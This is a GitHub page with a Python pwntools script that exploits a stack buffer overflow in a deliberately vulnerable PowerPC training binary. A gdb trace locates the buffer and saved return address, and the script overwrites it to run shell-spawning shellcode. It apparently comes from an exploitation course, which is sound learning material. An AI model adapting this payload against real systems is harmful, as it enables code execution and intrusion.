-
Notifications
You must be signed in to change notification settings - Fork 93
/
Copy path04-shellcode-static.py
executable file
·73 lines (61 loc) · 1.64 KB
/
04-shellcode-static.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/python
"""
(gdb) disassemble vulnerable
Dump of assembler code for function vulnerable:
0x1000054c <+0>: stwu r1,-144(r1)
...
0x100005a8 <+92>: lwz r0,4(r11)
0x100005ac <+96>: mtlr r0
0x100005a8 <+100>: lwz r31,-4(r11)
0x100005b4 <+104>: mr r1,r11
0x100005b8 <+108>: blr
End of assembler dump.
(gdb) b vulnerable
Breakpoint 1 at 0x10000560: file src/04-shellcode-static.c, line 6.
(gdb) b *0x100005a8
Breakpoint 2 at 0x100005a8: file src/04-shellcode-static.c, line 14.
(gdb) c
Continuing.
Breakpoint 1, vulnerable () at src/04-shellcode-static.c:6
6 printf("> ");
(gdb) p &buffer[0]
$1 = 0xffffdd58 "\377\377\335", <incomplete sequence \370>
(gdb) c
Continuing.
Breakpoint 2, 0x100005a8 in vulnerable () at src/04-shellcode-static.c:14
14 }
(gdb) p/x $r11+4
$2 = 0xffffdde4
"""
import struct
import sys
from pwn import *
context(arch='powerpc', os='linux', endian='big', word_size=32)
binary_path = './bin/ppc/04-shellcode-static'
saved_pc_addr = 0xffffdde4
buffer_addr = 0xffffdd58
# Adapted from http://shell-storm.org/shellcode/files/shellcode-86.php
shellcode = \
'\x7c\x3f\x0b\x78' + \
'\x7c\xa5\x2a\x79' + \
'\x42\x40\xff\xf9' + \
'\x7f\x08\x02\xa6' + \
'\x3b\x18\x01\x34' + \
'\x98\xb8\xfe\xfb' + \
'\x38\x78\xfe\xf4' + \
'\x90\x61\xff\xf8' + \
'\x38\x81\xff\xf8' + \
'\x90\xa1\xff\xfc' + \
'\x3b\xc0\x01\x60' + \
'\x7f\xc0\x2e\x70' + \
'\x44\x00\x00\x00' + \
'/bin/shZ'
p = process(binary_path)
#p = gdb.debug([binary_path])
payload = ''
payload += 'a' * (saved_pc_addr - buffer_addr)
payload += p32(saved_pc_addr + 4)
payload += shellcode
p.readuntil('> ')
p.write(payload)
p.interactive()